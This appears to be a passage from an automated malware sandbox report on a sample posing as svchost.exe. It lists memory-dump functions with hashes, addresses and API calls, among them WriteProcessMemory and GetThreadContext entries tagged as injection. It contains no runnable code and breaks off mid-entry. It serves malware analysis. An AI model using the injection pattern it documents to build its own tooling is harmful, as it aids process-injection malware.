Opcode Fuzzy Hash: 6a0b8983eac5e8d036e77ca8d719f96784b25e9390a902b2d0b3e03758979d85
Instruction Fuzzy Hash: 4F21D574A04B158FD730DF39D848A6BBBF5BB48320B508F2D95ABC6698E770E544CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0592D948, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bfef8610c785d5937e2b09307f81c1bb87731b81caefd3d9961cc90ec24aed9
Instruction ID: 7ffbf6d55e77f9b878ac2d935cb2eda8eb61e9034d1d26fa7c852d9f692666e9
Opcode Fuzzy Hash: 3bfef8610c785d5937e2b09307f81c1bb87731b81caefd3d9961cc90ec24aed9
Instruction Fuzzy Hash: F311A0757007118FD724EBA9D484D2FB7AAFFC4268B11892DE64A8B704DF71ED068B90

Uniqueness

Uniqueness Score: -1.00%

Function 059291E0, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b42981f47197eab4905ed24ab45ae581946c5fcf555888cab39354f47f35ef27
Instruction ID: 26c850e012a1c1e35f380cd353de6bca3c6162e931f11ea29d439ef3dc93d5a9
Opcode Fuzzy Hash: b42981f47197eab4905ed24ab45ae581946c5fcf555888cab39354f47f35ef27
Instruction Fuzzy Hash: 691125713046044BC710EFA9E481A6EB7A7BFC4624F908D2CE50A8B784DF70DC468BA2

Uniqueness

Uniqueness Score: -1.00%

Function 0179D10B, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.757173047.000000000179D000.00000040.00000001.sdmp, Offset: 0179D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_179d000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4a6d69dcac19fdb8a3552707fc77d34c4a78638005edc64a4181cec70993955
Instruction ID: 0299c79eb95d83b79f5b4d43d179efd131323e853e81489162c72fed89412d00
Opcode Fuzzy Hash: a4a6d69dcac19fdb8a3552707fc77d34c4a78638005edc64a4181cec70993955
Instruction Fuzzy Hash: 7E11D0B6544280CFDB16CF54E9C4B15FF71FB44314F24C6A9D8494B656C33AD44ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 059292A0, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584f45ae5fc74f013b5fbfcae12dadd5e3c2971298a4148251f9d76e647cfc70
Instruction ID: 166c1dc43c52cad6f376661411c8516e8f086c79ac841a9a90d6bb9b20ad4710
Opcode Fuzzy Hash: 584f45ae5fc74f013b5fbfcae12dadd5e3c2971298a4148251f9d76e647cfc70
Instruction Fuzzy Hash: 48116D30A002198BCB14DF69D4586EEBBB6FF88610F14C429D402B7398DB709C85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0592CC60, Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22773a5583e582e6cf353a3d814a5d221b4d5c6322f23d4d0396b14cffe3e18e
Instruction ID: c8f3f3fedcb7927fc05227a92477494e9865339949e6077f5777325f9a1ec140
Opcode Fuzzy Hash: 22773a5583e582e6cf353a3d814a5d221b4d5c6322f23d4d0396b14cffe3e18e
Instruction Fuzzy Hash: 63118C30200B014B8714EB68E48485AB7A7FFC1628364CEADD15A8B255DF71A94B8B94

Uniqueness

Uniqueness Score: -1.00%

Function 05920458, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c17c8a54a443c1f53c6873530dbd3139860aa071b7e7063a70b00618b80b0aaf
Instruction ID: 546e249c1e7b94cd07624e6632d0e83b3f174f0e828e576bea68c87fd7182d05
Opcode Fuzzy Hash: c17c8a54a443c1f53c6873530dbd3139860aa071b7e7063a70b00618b80b0aaf
Instruction Fuzzy Hash: 4001843D34012467E60512A9AD11BBE215FD788B14F10405DE605EEBC5CEFE5C061792

Uniqueness

Uniqueness Score: -1.00%

Function 05928D47, Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf9a0c4a889fba39c6f74984584a0927c5428e46690d827655d81c3d33d79c7e
Instruction ID: 4a7b69b35c03e40f113a7d163e2a32e0584853e65d94c111c9eed333371d4cc5
Opcode Fuzzy Hash: cf9a0c4a889fba39c6f74984584a0927c5428e46690d827655d81c3d33d79c7e
Instruction Fuzzy Hash: 80F02877B053266BEB1048879854BBF7A5BEBD4661F494029FE0682244D526CC56F3A0

Uniqueness

Uniqueness Score: -1.00%

Function 05920468, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b0d93deba6d3ff8f7006ac92e47fa14dd568e1290b360c3ca5b21706115942c
Instruction ID: cd3deca02cbc8f275ee963cd399868801ec1442b1f656dfe1835dd70e2d8f0b5
Opcode Fuzzy Hash: 2b0d93deba6d3ff8f7006ac92e47fa14dd568e1290b360c3ca5b21706115942c
Instruction Fuzzy Hash: 45F0AF3D34012467EA0826A9AD11BBE316FEB88F04F10805DE605BEBC9CEFF6C051796

Uniqueness

Uniqueness Score: -1.00%

Function 05928DC8, Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8c52ad1d618155d62a7f3cf6aa5df6632a38e0b1aa08b20f815615964f6711
Instruction ID: 8ef99a2899d9d836ae2cffa7c7bed74b5033a2657f500cf77e1236313de644ae
Opcode Fuzzy Hash: cd8c52ad1d618155d62a7f3cf6aa5df6632a38e0b1aa08b20f815615964f6711
Instruction Fuzzy Hash: 66F09EB3F083B05BEB110AD46C445393F57FAE25A0349455AED06C7114D631CC17F390

Uniqueness

Uniqueness Score: -1.00%

Function 05920561, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1d6dfa5f07703258e1f6ffcd4eaa401b6f6914be43863a90da2db5c76a949f
Instruction ID: 0aa216043bcafbc3d2e7e8cc2999090a6b6b7369b7a1a517ce1ece48ad4d1ccb
Opcode Fuzzy Hash: 7a1d6dfa5f07703258e1f6ffcd4eaa401b6f6914be43863a90da2db5c76a949f
Instruction Fuzzy Hash: 59F0BE312045109FC725DB2AE484AB977E9EF89618F1550B9D50ACF3E2CF26CC468B91

Uniqueness

Uniqueness Score: -1.00%

Function 05920260, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ed45ac108957b3ac00e26bfe4d40367bddaff9c9359dfb9128a46ab03797a8
Instruction ID: 82576e6a3ac1b9daebff0ac23331621428312183cdd608794e2968fa6017f790
Opcode Fuzzy Hash: b2ed45ac108957b3ac00e26bfe4d40367bddaff9c9359dfb9128a46ab03797a8
Instruction Fuzzy Hash: 93E026303402205FC710EB79D804F7977E99F8CA20F1480A9FA4ACB3E1EA20AC41CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05920B58, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 488b7061a993d1a6a3265a333fba16e1cd8cddf045bd36018731a91fe9b966cd
Instruction ID: 4c0cbcef1d9b0a0569be183d842d2d6b7ce1372bf366c0152fb3d63c0b8fe1e9
Opcode Fuzzy Hash: 488b7061a993d1a6a3265a333fba16e1cd8cddf045bd36018731a91fe9b966cd
Instruction Fuzzy Hash: F4E04F3094924DAFCB50EF68E90259DBBB9EF06614B1044EDD80CD7262EA356E099B92

Uniqueness

Uniqueness Score: -1.00%

Function 05920522, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e2ee11105c03ec0d668f086527a77152386c8de133bcad028498de07b7d1fb9
Instruction ID: 863a6fb95827a107c197e480fb69133a613e145cefe1c3cff530ce43bc04328a
Opcode Fuzzy Hash: 3e2ee11105c03ec0d668f086527a77152386c8de133bcad028498de07b7d1fb9
Instruction Fuzzy Hash: 3AE0C2353841544FD7468B68E842B2937A9EB48724F5040B9ED09CF3E2CF39EC428E51

Uniqueness

Uniqueness Score: -1.00%

Function 0592DA30, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f981774fade76aa8508cae10562dc3b4a7b8e5b6b4fec48758a06d6c9b141bc0
Instruction ID: 42516659145d24d6277515009e8ea56331bc8ece2c3917651b534f35eecdf2c5
Opcode Fuzzy Hash: f981774fade76aa8508cae10562dc3b4a7b8e5b6b4fec48758a06d6c9b141bc0
Instruction Fuzzy Hash: B1E09274E04208AFCB44EFA9E44559DBBF5AB48218F0185A9A909E7350EA746A448F81

Uniqueness

Uniqueness Score: -1.00%

Function 05928D20, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab67a5dfd7230d0c89dfd7d7bf39540a8cb8388a3e8bf6beb59b6c0e99f1f199
Instruction ID: 89e539735df869431e7222cb2f29cbf3314955c1cc7492a8f81f014a8f75fc47
Opcode Fuzzy Hash: ab67a5dfd7230d0c89dfd7d7bf39540a8cb8388a3e8bf6beb59b6c0e99f1f199
Instruction Fuzzy Hash: A1D0C9327511244F8708EBADE454C6973EEAF8D66531140FAE50ACB371DE65EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05920B68, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98532493363e31c368083adb66561c2066f562a4aa93b0d1be965a1f33da60ad
Instruction ID: c7817bd4c3dd9e443cd00205bc079248bfd7f6b677d61c6c9fcb66f916b78bdf
Opcode Fuzzy Hash: 98532493363e31c368083adb66561c2066f562a4aa93b0d1be965a1f33da60ad
Instruction Fuzzy Hash: C8D05E70A0510DEF8B80EFA8EA014ADF7F9EF45214B2084ACD80CD7354EA316F099B81

Uniqueness

Uniqueness Score: -1.00%

Function 05920530, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403f199c1c739b0f4da0f4f55b6866fc934a533b3646d8cff5e36cb37421fadb
Instruction ID: 80fa7952096d2cafb816b8ba651600e6e85bf3b8357e79a8b18707b673d75c4a
Opcode Fuzzy Hash: 403f199c1c739b0f4da0f4f55b6866fc934a533b3646d8cff5e36cb37421fadb
Instruction Fuzzy Hash: C5D05E342401448F87549B69E04482633AAEB8C6247109099ED098B3A5CE31EC418E51

Uniqueness

Uniqueness Score: -1.00%

Function 059204F8, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ede2dac6b7ec9e734b6bc31f361794dd467946c2dda85d2adcd0bc6a4dc292fc
Instruction ID: 6ac4bdafd716daed8047b64eac5fdedeb33da0a93e85652f621238152322536a
Opcode Fuzzy Hash: ede2dac6b7ec9e734b6bc31f361794dd467946c2dda85d2adcd0bc6a4dc292fc
Instruction Fuzzy Hash: 3BC08C31AC832A4BEF067274F80A3DCF3889B50639F404136A819C3382EF6CD00B4680

Uniqueness

Uniqueness Score: -1.00%

Function 0592DA08, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 054339d86bcc8ddc7055ed3ffa8979d43d3b4db315d076aad8baedf3b895226e
Instruction ID: 9d7f6caa3995c045baf81117a0c16e5ba3a3906771641ece32c80aacf67b32f9
Opcode Fuzzy Hash: 054339d86bcc8ddc7055ed3ffa8979d43d3b4db315d076aad8baedf3b895226e
Instruction Fuzzy Hash: 30B0927090930CAF8610DAA9980191AB7ACDA0A118B0206D9EA0887310DA72AD105AD2

Uniqueness

Uniqueness Score: -1.00%

Function 0592E518, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57fef67ff2943802b369e9407cc717f03d88eaa5c334d7d0bab2ae4c2922c9ea
Instruction ID: 254fb5f018106ca216b5439a5903964575e109b84c4b78c4bda23d50d690922e
Opcode Fuzzy Hash: 57fef67ff2943802b369e9407cc717f03d88eaa5c334d7d0bab2ae4c2922c9ea
Instruction Fuzzy Hash: 8BB0123000570D8F8680BBE2F406D543B1CD54071DB844950E10C490329E646985C6C9

Uniqueness

Uniqueness Score: -1.00%

Function 0592F140, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ed556ac7be174996c2a828a2a520ec1a12cc5b27998a8b4d497d6f0e975a945
Instruction ID: 4fface8932d0a11305c731303e16b337fab1e18bbf0dd073371e91c83f90f967
Opcode Fuzzy Hash: 3ed556ac7be174996c2a828a2a520ec1a12cc5b27998a8b4d497d6f0e975a945
Instruction Fuzzy Hash: CEB0123104560D5B8640ABE2F60655C3B1C954461CB908550E30C894165F683D1486CC

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: svchost.exe PID: 6712 Parent PID: 3424 svchost.exeCOMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	361
Total number of Limit Nodes:	18

Executed Functions

Function 057A66FC, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 057A693E

Strings

Ea`, xrefs: 057A6743
Ea`, xrefs: 057A6772

Memory Dump Source

Source File: 00000024.00000002.843472762.00000000057A0000.00000040.00000001.sdmp, Offset: 057A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_57a0000_svchost.jbxd

Similarity

API ID: CreateProcess
String ID: Ea`$Ea`
API String ID: 963392458-3464468828
Opcode ID: 5c91b3dcc5dc11742eb009fc8f8ad7b5bab44e7ce063d3e8bf32361317692bd2
Instruction ID: df4cc923568cd2b5b3ed4a71e42ec44da5580934ce77f53710cdf9905c1faa20
Opcode Fuzzy Hash: 5c91b3dcc5dc11742eb009fc8f8ad7b5bab44e7ce063d3e8bf32361317692bd2
Instruction Fuzzy Hash: C7A18072D04219CFDF10CF68C845BEEBBB2BF88304F188669E819A7240DB759985DF91

Uniqueness

Uniqueness Score: -1.00%

Function 057A6708, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 057A693E

Strings

Ea`, xrefs: 057A6743
Ea`, xrefs: 057A6772

Memory Dump Source

Source File: 00000024.00000002.843472762.00000000057A0000.00000040.00000001.sdmp, Offset: 057A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_57a0000_svchost.jbxd

Similarity

API ID: CreateProcess
String ID: Ea`$Ea`
API String ID: 963392458-3464468828
Opcode ID: 1f6662bb0a102892c9305603e38475fdca9fd2fd3703baee604d800a843726db
Instruction ID: 3c4bca0485a6e9bfa930850614028fea995e700e6ab712308ed2b7d1ea9466bf
Opcode Fuzzy Hash: 1f6662bb0a102892c9305603e38475fdca9fd2fd3703baee604d800a843726db
Instruction Fuzzy Hash: 12918E72D04219CFDF10CF68C845BEEBBB6BF88314F188669E819A7240DB749985DF91

Uniqueness

Uniqueness Score: -1.00%

Function 08788CC8, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ea`, xrefs: 08788DA6
Ea`, xrefs: 08788D86

Memory Dump Source

Source File: 00000024.00000002.855188481.0000000008780000.00000040.00000010.sdmp, Offset: 08780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_8780000_svchost.jbxd

Similarity

API ID:
String ID: Ea`$Ea`
API String ID: 0-3464468828
Opcode ID: 2661694b402974f2ea0575855022ed0abd9cd9d8d12ce4f06cef843e2daa0139
Instruction ID: da309ee4500c75b771e1d1d6048da18ce4db3901d322153a15fa97cee7cdc33e
Opcode Fuzzy Hash: 2661694b402974f2ea0575855022ed0abd9cd9d8d12ce4f06cef843e2daa0139
Instruction Fuzzy Hash: A87144B1844388EFCB12DFA9C840ADDBFB1BF49310F5581AAE804AB226C7719855DF61

Uniqueness

Uniqueness Score: -1.00%

Function 08788224, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 08788E6A

Strings

Ea`, xrefs: 08788DA6
Ea`, xrefs: 08788D86

Memory Dump Source

Source File: 00000024.00000002.855188481.0000000008780000.00000040.00000010.sdmp, Offset: 08780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_8780000_svchost.jbxd

Similarity

API ID: CreateWindow
String ID: Ea`$Ea`
API String ID: 716092398-3464468828
Opcode ID: 7a9bb6ebd219768f8220c02abc0da8225d0d903596379e411d591db6cdb5a119
Instruction ID: 26d8d403536c5bac35b01f41cb8509c2dd009c20e768cc18ae14aab6dafb2378
Opcode Fuzzy Hash: 7a9bb6ebd219768f8220c02abc0da8225d0d903596379e411d591db6cdb5a119
Instruction Fuzzy Hash: FF51C0B1D00309DFDB14DF99C884ADEBBB5BF48314F64822AE819AB214D7759885CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 087868B0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ea`, xrefs: 08786AAF

Memory Dump Source

Source File: 00000024.00000002.855188481.0000000008780000.00000040.00000010.sdmp, Offset: 08780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_8780000_svchost.jbxd

Similarity

API ID: HandleModule
String ID: Ea`
API String ID: 4139908857-4245709379
Opcode ID: dfeaf3a73827820151ba34497c92f84a6c74ced6e2297ef4628a5aa30442c088
Instruction ID: 9f5525e4dfbd496612a52737652c50ac12dd7f25f4b11cecd509da9d3e97b427
Opcode Fuzzy Hash: dfeaf3a73827820151ba34497c92f84a6c74ced6e2297ef4628a5aa30442c088
Instruction Fuzzy Hash: 79714570A00B05DFD764EF2AD04875ABBF1BF98205F14892ED18AD7B44DB75E8068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 08788374, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0878B3C1

Strings

Ea`, xrefs: 0878B317

Memory Dump Source

Source File: 00000024.00000002.855188481.0000000008780000.00000040.00000010.sdmp, Offset: 08780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_8780000_svchost.jbxd

Similarity

API ID: CallProcWindow
String ID: Ea`
API String ID: 2714655100-4245709379
Opcode ID: 52ed3761ffe2c563c0e8d2e278b2a647836cf257862a6e97a22a52a189d093a9
Instruction ID: 2df1e41744ae5a9f030e5249d074df03f18e5c4f638977b0aea5b1b2dc650466
Opcode Fuzzy Hash: 52ed3761ffe2c563c0e8d2e278b2a647836cf257862a6e97a22a52a189d093a9
Instruction Fuzzy Hash: 944157B8A00605CFCB54DF99C488AAABBF5FF88325F24C459D519AB721D774A841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 057A6C40, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 057A6CD8

Strings

Ea`, xrefs: 057A6C67

Memory Dump Source

Source File: 00000024.00000002.843472762.00000000057A0000.00000040.00000001.sdmp, Offset: 057A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_57a0000_svchost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: Ea`
API String ID: 3559483778-4245709379
Opcode ID: 335810c06ef5db16c80c00adf1a8dddc44ed21c4805bfd628555f422e9083a2e
Instruction ID: 2f720a183fb4cfd0939dadc4563e928b6a2950b70b4c910781a7a10e2db1fb90
Opcode Fuzzy Hash: 335810c06ef5db16c80c00adf1a8dddc44ed21c4805bfd628555f422e9083a2e
Instruction Fuzzy Hash: 35214871D002498FDF40CFA9D884BEEBBF1FF88314F14842AE519A7240C778A955DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 057A6C48, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 057A6CD8

Strings

Ea`, xrefs: 057A6C67

Memory Dump Source

Source File: 00000024.00000002.843472762.00000000057A0000.00000040.00000001.sdmp, Offset: 057A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_57a0000_svchost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: Ea`
API String ID: 3559483778-4245709379
Opcode ID: 9329fdeeb1a636ded02be52e39cff7c2a37059dfc643c32537b3f9194e2856a7
Instruction ID: af0ad1b098266d17d10b8efbcfe965930111940eb4dea413e94e2571bf2a5712
Opcode Fuzzy Hash: 9329fdeeb1a636ded02be52e39cff7c2a37059dfc643c32537b3f9194e2856a7
Instruction Fuzzy Hash: 732148719003099FDB00CFA9C884BDEBBF5FF48314F148429E919A7240CB78A954DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0878009C, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,08780476,?,?,?,?,?), ref: 08780537

Strings

Ea`, xrefs: 087804CF

Memory Dump Source

Source File: 00000024.00000002.855188481.0000000008780000.00000040.00000010.sdmp, Offset: 08780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_8780000_svchost.jbxd

Similarity

API ID: DuplicateHandle
String ID: Ea`
API String ID: 3793708945-4245709379
Opcode ID: 4d2288494cb968d617863856f2ed1b2544a5e2dcb3840adb98ab4c53b8d0d7f0
Instruction ID: 139dc2cf37e19284ebb1a3c8e486d8bbb0806dcac49f2bb0f65528afdd8129cd
Opcode Fuzzy Hash: 4d2288494cb968d617863856f2ed1b2544a5e2dcb3840adb98ab4c53b8d0d7f0
Instruction Fuzzy Hash: 4E21E6B5904648DFDB10CF99D484BDEBBF4EB48314F14845AE915B3310D778A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 057A6A89, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetThreadContext.KERNELBASE(?,00000000), ref: 057A6B0E

Strings

Ea`, xrefs: 057A6AAC

Memory Dump Source

Source File: 00000024.00000002.843472762.00000000057A0000.00000040.00000001.sdmp, Offset: 057A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_57a0000_svchost.jbxd

Similarity

API ID: ContextThread
String ID: Ea`
API String ID: 1591575202-4245709379
Opcode ID: 1e6da524a233b18354d1eb6a815069bf181675cac0236c354ba2666d0651a84d
Instruction ID: a33703db3b087f5be2c141b8a2c4ff47a9faf070648004433f7d0bdbfa3b6984
Opcode Fuzzy Hash: 1e6da524a233b18354d1eb6a815069bf181675cac0236c354ba2666d0651a84d
Instruction Fuzzy Hash: C32138B1D042098FDB50CFAAD4847EEBBF1AF88314F28842AD419A7740CB789945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 087804A8, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,08780476,?,?,?,?,?), ref: 08780537

Strings

Ea`, xrefs: 087804CF

Memory Dump Source

Source File: 00000024.00000002.855188481.0000000008780000.00000040.00000010.sdmp, Offset: 08780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_8780000_svchost.jbxd

Similarity

API ID: DuplicateHandle
String ID: Ea`
API String ID: 3793708945-4245709379
Opcode ID: 851e6bfb03b4b24d5ba5e6af768a0c6a9dfb02a202c837f2c8c4befecf35ce2f
Instruction ID: d72005848c3d52cb04cf82aa2271ad4329d859097b7aaf5cf2666e039b0b4076
Opcode Fuzzy Hash: 851e6bfb03b4b24d5ba5e6af768a0c6a9dfb02a202c837f2c8c4befecf35ce2f
Instruction Fuzzy Hash: FC2114B5901248DFDB10CFA9D984ADEBFF4EB48320F14801AE914A7311D778A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 057A6A90, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetThreadContext.KERNELBASE(?,00000000), ref: 057A6B0E

Strings

Ea`, xrefs: 057A6AAC

Memory Dump Source

Source File: 00000024.00000002.843472762.00000000057A0000.00000040.00000001.sdmp, Offset: 057A0000, based on PE: false

Joe Sandbox IDA Plugin

